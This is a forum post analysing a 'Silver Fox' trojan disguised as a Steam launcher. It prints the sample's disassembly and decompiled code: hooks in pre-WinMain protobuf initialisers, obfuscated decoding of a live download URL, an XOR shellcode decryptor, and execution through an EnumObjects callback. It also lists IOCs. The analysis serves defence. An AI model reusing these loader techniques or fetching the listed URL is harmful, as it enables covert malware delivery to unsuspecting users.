【病毒分析】某银狐伪装Steam客户端启动器”Steam.exe“、”Telegram简体中文语言包“隐蔽投毒
漏洞分析
本文分析了一个当下比较热门银狐木马样本
某银狐伪装Steam客户端启动器”Steam.exe“或”Telegram简体中文语言包“隐蔽投毒 ================================================= 我一哥们刚换的新电脑准备爽玩3A大作,然而在安装steam的时候不知道从哪里下载到一个看似人畜无害的steam,运行之后没反应,这才发现不对劲给我拿过来看一下。 样本分析发现,是一份被极其隐蔽patch过的`9.69.92.62版本steam启动器`,其并未使用常见的方式在入口点或 TLS 回调处直接劫持控制流,而是将恶意代码插入到 steam 客户端自带的 protobuf 注册路径中。程序启动后,MSVC CRT会在 `WinMain` 前执行全局初始化函数表,通过 `clientmetrics.proto` 的 file-registration 初始化链触发恶意代码。之后动态解析API,下载bmp将文件写入内存,经自定义解密逻辑原地变换后,最终被作为 `gdi32!EnumObjects` 的回调函数执行,可以说手法非常的隐蔽。 vt和微步分析情况:   样本主要流程图如下:  一、样本分析 1.1 样本基本信息 ---------- | 项目 | 内容 | |---|---| | 文件名 | `Steam.exe` | | 文件大小 | `4.46 MB` | | 架构 | `32-bit PE` | | ImageBase | `0x400000` | | OEP | `0x58F9CD` | | TLS Callback | `0x58F9E5` | | SHA1 | `98fe8fca4e9d670acffa041de3cc8c5ed8a04d82` | | MD5 | `D58F9D3409892188764DA6F311E915FD` | | SHA256 | `E0F6227F02D8BF6263938088AF91D3F073DB4A43A529BA46665CB2E90F612799` |  1.2 启动阶段 -------- 样本入口点 `0x58F9CD` 是标准 MSVC CRT 启动桩,功能为初始化安全 cookie 后进入 `__scrt_common_main_seh`: ```c char *__usercall start@<eax>(char *a1@<esi>) { __security_init_cookie(); return __scrt_common_main_seh(a1); } ``` 在 `__scrt_common_main_seh` 中,程序会在调用 `WinMain` 前执行全局初始化函数表:  `__initterm` 会从 `First` 到 `Last` 顺序遍历函数指针,遇到非空表项即执行。经枚举,`0x728568-0x7289CC` 范围内共有 280 个非空初始化表项,其中最早可达恶意插入点的是: ```text 0x7285A0 -> 0x446B80 ``` 因此,恶意代码的首次触发发生在 `WinMain` 前的 CRT 全局初始化阶段。 1.3 protobuf 注册阶段 ----------------- `clientmetrics.proto` 是 Steam 正常代码里的 protobuf 描述文件。程序启动时 protobuf 会把这些 .proto 描述注册到内部表里。 初始化表项 `0x7285A0` 指向函数 `0x446B80`。该函数是一个小型全局注册包装器,用于注册 `clientmetrics.proto`: ```nasm .text:00446B80 push offset unk_812A50 ; _initterm 表项 0x7285A0 指向本函数;传入 clientmetrics.proto 0x812A50。 .text:00446B85 mov ecx, offset unk_826318 .text:00446B8A call sub_5C5D20 .text:00446B8F retn ```  `unk_812A50` 的首字节初值为 `0`,说明该 proto 文件尚未注册。`unk_812A50 + 0x0C` 指向字符串 `clientmetrics.proto`,可确认该对象为 protobuf file-registration 数据。 调用链如下: ```text 0x446B80 -> 0x5C5D20 Protobuf_FileRegistration_StaticCtor -> 0x5C6220 Protobuf_RegisterFileRecursive_ThenInjectedCall -> 0x5C2180 Protobuf_RegisterFile_InjectedPayloadCall ``` 在 `0x5C2180` 的函数入口附近,样本先执行恶意主体,再继续正常 file registration 逻辑:  该插入点位于 protobuf `message.cc` 的 file-registration 路径,代码中可见调试路径字符串: ```text G:\Valve\steam\thirdpartycode\nonredist\protobuf\protobuf-3.15.3\src\google\protobuf\message.cc ``` 同一初始化表中还有 4 个后续表项也可到达该 file-registration 插入点: | 初始化表项 | 初始化函数 | proto 对象 | proto 名称 | |---|---|---|---| | `0x007285B0` | `0x00446C00` | `0x00812B74` | `uifontfile_format.proto` | | `0x00728610` | `0x00447690` | `0x00813010` | `steammessages_base.proto` | | `0x00728628` | `0x00447860` | `0x00813568` | `enums_clientserver.proto` | | `0x007286C4` | `0x00447DF0` | `0x00816C58` | `google/protobuf/descriptor.proto` | 这些表项进一步说明,恶意逻辑被挂接在多个 protobuf 全局注册入口上。由于 `_initterm` 顺序遍历,首次触发点仍是 `0x7285A0 -> 0x446B80`。 1.4 其他挂钩点 --------- 除 file-registration 插入点外,样本还在 protobuf type-registration 路径`0x5C227C`开头插入恶意代码:  另有一个恶意 thunk 位于 `0x5C34C0`: ```nasm .text:005C34C0 MaliciousPayloadThunk proc near ; CODE XREF: sub_5C6C20:loc_5C6E6C↓p .text:005C34C0 ; sub_5C7C80+8↓p ... .text:005C34C0 jmp Malicious_DownloadDecryptExecutePayload ; 由启动前全局初始化链通过 0x7285A0 -> 0x446B80 -> 0x5C5D20 -> 0x5C6220 -> 0x5C2180 -> 0x5C21AE 到达。 .text:005C34C0 MaliciousPayload ``` 该 thunk 被多个代码位置调用,包括: ```text 0x5C6E6C 0x5C7C88 0x5CDCC1 0x5CDCD6 0x62E3D9 ``` 当前闭环分析中,最早执行恶意主体的路径来自 `0x5C21AE`,即 protobuf file-registration 链。 1.5 恶意代码分析 ---------- 恶意代码的主体位于:`0x005C34D0`  函数开头在栈上构造多个模块名: ```text User32 Gdi32 wininet msvcrt ntdll Shell32 ``` 随后通过 PEB 获取 kernel32 基址,并使用自定义 API 哈希逻辑解析函数地址的经典操作。 1.6 恶意代码下载逻辑 ------------ 恶意代码会申请一段小缓冲区,调用 `GetModuleFileNameA` 获取当前模块路径,并检查路径中是否包含`“语言”`字符串: ```nasm .text:005C3707 mov [ebp+var_34], 0D3h ; D3 EF D1 D4 decode to "语言" .text:005C370B mov [ebp+var_33], 0EFh .text:005C370F .text:005C370F loc_5C370F: ; DATA XREF: sub_5C4A20+A0↓o .text:005C370F mov [ebp+var_32], 0D1h .text:005C3713 mov [ebp+var_31], 0D4h ``` 如果命中该字符串,样本会解码字符串 `stir` 为 `open`,再解码 Telegram URI: ```nasm .text:005C37CE mov [ebp+var_B8], 77h ; 'w' ; Obfuscated URI; subtract 3 per byte => tg://setlanguage?lang=classic-zh-cnn. .text:005C37D5 mov [ebp+var_B8+1], 6Ah ; 'j' .text:005C37DC mov [ebp+var_B8+2], 3Dh ; '=' .text:005C37E3 mov [ebp+var_B8+3], 32h ; '2' .text:005C37EA mov [ebp+var_B8+4], 32h ; '2' .text:005C37F1 mov [ebp+var_B8+5], 76h ; 'v' .text:005C37F8 mov [ebp+var_B8+6], 68h ; 'h' .text:005C37FF mov [ebp+var_B8+7], 77h ; 'w' .text:005C3806 mov [ebp+var_B8+8], 6Fh ; 'o' .text:005C380D mov [ebp+var_B8+9], 64h ; 'd' .text:005C3814 mov [ebp+var_B8+0Ah], 71h ; 'q' .text:005C381B mov [ebp+var_B8+0Bh], 6Ah ; 'j' .text:005C3822 mov [ebp+var_B8+0Ch], 78h ; 'x' .text:005C3829 mov [ebp+var_B8+0Dh], 64h ; 'd' .text:005C3830 mov [ebp+var_B8+0Eh], 6Ah ; 'j' .text:005C3837 mov [ebp+var_B8+0Fh], 68h ; 'h' .text:005C383E mov [ebp+var_B8+10h], 42h ; 'B' .text:005C3845 mov [ebp+var_B8+11h], 6Fh ; 'o' .text:005C384C mov [ebp+var_B8+12h], 64h ; 'd' .text:005C3853 mov [ebp+var_B8+13h], 71h ; 'q' .text:005C385A mov [ebp+var_B8+14h], 6Ah ; 'j' .text:005C3861 mov [ebp+var_B8+15h], 40h ; '@' .text:005C3868 mov [ebp+var_B8+16h], 66h ; 'f' .text:005C386F mov [ebp+var_B8+17h], 6Fh ; 'o' .text:005C3876 mov [ebp+var_B8+18h], 64h ; 'd' .text:005C387D mov [ebp+var_B8+19h], 76h ; 'v' .text:005C3884 mov [ebp+var_B8+1Ah], 76h ; 'v' .text:005C388B mov [ebp+var_B8+1Bh], 6Ch ; 'l' .text:005C3892 mov [ebp+var_B8+1Ch], 66h ; 'f' .text:005C3899 mov [ebp+var_B8+1Dh], 30h ; '0' .text:005C38A0 mov [ebp+var_B8+1Eh], 7Dh ; '}' .text:005C38A7 mov [ebp+var_B8+1Fh], 6Bh ; 'k' .text:005C38AE mov [ebp+var_B8+20h], 30h ; '0' .text:005C38B5 mov [ebp+var_B8+21h], 66h ; 'f' .text:005C38BC mov [ebp+var_B8+22h], 71h ; 'q' .text:005C38C3 mov [ebp+var_B8+23h], 0 .text:005C38CA mov [ebp+var_18], 0 .text:005C38D1 jmp short loc_5C38DC .text:005C38D3 ; --------------------------------------------------------------------------- .text:005C38D3 .text:005C38D3 loc_5C38D3: ; CODE XREF: Malicious_DownloadDecryptExecutePayload+42A↓j .text:005C38D3 mov edx, [ebp+var_18] .text:005C38D6 add edx, 1 .text:005C38D9 mov [ebp+var_18], edx .text:005C38DC .text:005C38DC loc_5C38DC: ; CODE XREF: Malicious_DownloadDecryptExecutePayload+401↑j .text:005C38DC cmp [ebp+var_18], 23h ; '#' .text:005C38E0 jge short loc_5C38FC .text:005C38E2 mov eax, [ebp+var_18] .text:005C38E5 movsx ecx, [ebp+eax+var_B8] .text:005C38ED sub ecx, 3 .text:005C38F0 mov edx, [ebp+var_18] .text:005C38F3 mov [ebp+edx+var_B8], cl .text:005C38FA jmp short loc_5C38D3 ``` ```php wj=22vhwodqjxdjhBodqj@fodvvlf0}k0fq 每字节减 3 tg://setlanguage?lang=classic-zh-cnn ``` 最终通过 `ShellExecuteA` 打开url对Telegram进行汉化,应该是用于纸飞机上钓鱼。 1.7 下载器阶段 --------- 恶意代码继续加载 `wininet`,解析以下 API: ```text InternetOpenA InternetOpenUrlA InternetReadFile ``` 下载地址经逐字节减法解码得到: ```nasm .text:005C3C1F mov [ebp+var_94], 6Dh ; 'm' ; Obfuscated URL; subtract 5 per byte => http://wy29d68v.com/1/lonn.bmp. .text:005C3C26 mov [ebp+var_94+1], 79h ; 'y' .text:005C3C2D mov [ebp+var_94+2], 79h ; 'y' .text:005C3C34 mov [ebp+var_94+3], 75h ; 'u' .text:005C3C3B mov [ebp+var_94+4], 3Fh ; '?' .text:005C3C42 mov [ebp+var_94+5], 34h ; '4' .text:005C3C49 mov [ebp+var_94+6], 34h ; '4' .text:005C3C50 mov [ebp+var_94+7], 7Ch ; '|' .text:005C3C57 mov [ebp+var_94+8], 7Eh ; '~' .text:005C3C5E mov [ebp+var_94+9], 37h ; '7' .text:005C3C65 mov [ebp+var_94+0Ah], 3Eh ; '>' .text:005C3C6C mov [ebp+var_94+0Bh], 69h ; 'i' .text:005C3C73 mov [ebp+var_94+0Ch], 3Bh ; ';' .text:005C3C7A mov [ebp+var_94+0Dh], 3Dh ; '=' .text:005C3C81 mov [ebp+var_94+0Eh], 7Bh ; '{' .text:005C3C88 mov [ebp+var_94+0Fh], 33h ; '3' .text:005C3C8F .text:005C3C8F loc_5C3C8F: ; CODE XREF: sub_5C45A0+DD↓p .text:005C3C8F mov [ebp+var_94+10h], 68h ; 'h' .text:005C3C96 mov [ebp+var_94+11h], 74h ; 't' .text:005C3C9D mov [ebp+var_94+12h], 72h ; 'r' .text:005C3CA4 mov [ebp+var_94+13h], 34h ; '4' .text:005C3CAB mov [ebp+var_94+14h], 36h ; '6' .text:005C3CAF mov [ebp+var_94+15h], 34h ; '4' .text:005C3CB3 mov [ebp+var_94+16h], 71h ; 'q' .text:005C3CB7 mov [ebp+var_94+17h], 74h ; 't' .text:005C3CBB mov [ebp+var_94+18h], 73h ; 's' .text:005C3CBF mov [ebp+var_94+19h], 73h ; 's' .text:005C3CC3 mov [ebp+var_94+1Ah], 33h ; '3' .text:005C3CC7 mov [ebp+var_94+1Bh], 67h ; 'g' .text:005C3CCB mov [ebp+var_94+1Ch], 72h ; 'r' .text:005C3CCF mov [ebp+var_94+1Dh], 75h ; 'u' .text:005C3CD3 mov [ebp+var_94+1Eh], 0 .text:005C3CD7 mov [ebp+var_20], 0 .text:005C3CDE jmp short loc_5C3CE9 .text:005C3CE0 ; --------------------------------------------------------------------------- .text:005C3CE0 .text:005C3CE0 loc_5C3CE0: ; CODE XREF: Malicious_DownloadDecryptExecutePayload+83E↓j .text:005C3CE0 mov edx, [ebp+var_20] .text:005C3CE3 add edx, 1 .text:005C3CE6 mov [ebp+var_20], edx .text:005C3CE9 .text:005C3CE9 loc_5C3CE9: ; CODE XREF: Malicious_DownloadDecryptExecutePayload+80E↑j .text:005C3CE9 cmp [ebp+var_20], 1Eh .text:005C3CED jge short loc_5C3D10 .text:005C3CEF call ReturnHashShift6 .text:005C3CF4 sub eax, 1 .text:005C3CF7 mov ecx, [ebp+var_20] .text:005C3CFA movsx edx, [ebp+ecx+var_94] .text:005C3D02 sub edx, eax .text:005C3D04 mov eax, [ebp+var_20] .text:005C3D07 mov [ebp+eax+var_94], dl .text:005C3D0E jmp short loc_5C3CE0 ``` ```text http://wy29d68v.com/1/lonn.bmp ``` 下载前样本申请 RWX 内存: ```text VirtualAlloc(NULL, 0x400001, MEM_COMMIT, PAGE_EXECUTE_READWRITE) ``` 随后循环读取远程数据,每轮最多读取 `8193` 字节。只有当累计读取长度等于 `0x22808` 字节时,才进入后续解密流程。 `但是等我访问这个地址下载时已经不可以下载,没办法这个暂时就分析不了了...` 1.8 解密算法与执行阶段分析 --------------- 下载完成后,样本调用`0x5C40A0`解密函数:  解密算法分析: 针对下载到RWX内存的shellcode做原地逐字节 XOR 变换之后修改buf执行,详情如下: ```c unsigned int __cdecl sub_5C40A0( unsigned __int8 *buf, unsigned int size, unsigned int key, unsigned int mix_counter, unsigned int xor_stride, unsigned int unused_seed, unsigned __int8 shift) { _BYTE v8[8]; // [esp+4h] [ebp-24h] unsigned int v9; // [esp+Ch] [ebp-1Ch] unsigned int i; // [esp+10h] [ebp-18h] unsigned int v11; // [esp+14h] [ebp-14h] unsigned int v12; // [esp+18h] [ebp-10h] unsigned int v13; // [esp+1Ch] [ebp-Ch] unsigned int v14; // [esp+20h] [ebp-8h] unsigned __int8 v15; // [esp+27h] [ebp-1h] v11 = mix_counter; // 保存mix_counter后面自增/自减,用于混淆 v9 = key; // 保存key真正xor解密时使用这个值 v14 = 0xCAFEBABE; // a = 0xCAFEBABE v13 = 0xDEADBEEF; // b = 0xDEADBEEF v12 = 0x12345678; // c = 0x12345678 for ( i = 0; i < size; ++i ) // i = 0;开始逐字节遍历shellcode { // 按 a 最低位选择扰动分支。 if ( (v14 & 1) != 0 ) { // a为奇数时,再按b最低位选择子分支 if ( (v13 & 1) != 0 ) { v13 -= v14; // 奇数/奇数分支:b -= a v12 |= v14; // 奇数/奇数分支:c |= a } else { v12 += v13 ^ v14; // 奇数/偶数分支:c += b ^ a } } else { v14 += v13; // 偶数分支:a += b v13 ^= v12; // 偶数分支:b ^= c } v14 ^= (v12 >> 2) | (8 * v13); // 每轮统一状态混合:a ^= (c >> 2) | (b << 3) ++v11; // mix_counter++,随后会减回去 --v11; // mix_counter--,抵消上一条自增 buf[i] ^= v9 >> (shift * (i % 4)); // 核心解密:buf[i] ^= key >> (shift * (i % 4));调用方传入shift=8 ++v11; // mix_counter++,混淆 --v11; // mix_counter--,抵消上一条自增 v8[0] = 1; // 构造固定表 {1,2,3,4,5,6,7,8} v8[1] = 2; v8[2] = 3; v8[3] = 4; v8[4] = 5; v8[5] = 6; v8[6] = 7; v8[7] = 8; v15 = v8[i % 8]; // v15 = table[i % 8] v14 ^= v15; // a ^= table[i % 8] if ( !(i % 5) ) // 判断 i % 5 是否为 0 v14 ^= 2 * v12; // 若 i % 5 == 0,则a ^= c << 1 } return (((v14 | v12) + (v13 ^ v14)) ^ v13) - (((v14 | v12) + (v13 ^ v14)) & v12);// 关键作用是原地解密buf } ``` 解密完成后,样本最终执行方式如下: ```nasm .text:005C3E29 push 0 .text:005C3E2B call [ebp+var_198] ; user32!GetDC(0) .text:005C3E31 mov [ebp+var_120], eax .text:005C3E37 push 0 .text:005C3E39 mov ecx, [ebp+buf] ; 解密后的 RWX buffer .text:005C3E3C push ecx .text:005C3E3D push 2 .text:005C3E3F .text:005C3E3F loc_5C3E3F: ; CODE XREF: sub_5D63E0+135↓p .text:005C3E3F ; sub_60E0F0+99↓p ... .text:005C3E3F mov edx, [ebp+var_120] .text:005C3E45 push edx .text:005C3E46 call [ebp+var_194] ; gdi32!EnumObjects(hdc, 2, buf, 0) ``` 解密后的内存作为`EnumObjects`回调传入,从而让系统 API 在枚举 GDI 对象过程中执行远程shellcode。 至此该样本分析结束,建议大伙平时下载软件时擦亮眼睛看清楚其是否属于官方,毕竟现在的网络环境随便搜索个软件都有可能是银狐... 二、附录 ==== 2.1 IOC ------- | 类型 | 内容 | |---|---| | URL | `http://wy29d68v.com/1/lonn.bmp` | | MD5 | `D58F9D3409892188764DA6F311E915FD` | | SHA1 | `98fe8fca4e9d670acffa041de3cc8c5ed8a04d82` | | SHA256 | `E0F6227F02D8BF6263938088AF91D3F073DB4A43A529BA46665CB2E90F612799` |
发表于 2026-07-08 09:48:41
阅读 ( 2872 )
分类:
二进制
3 推荐
收藏
0 条评论
0x4010
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!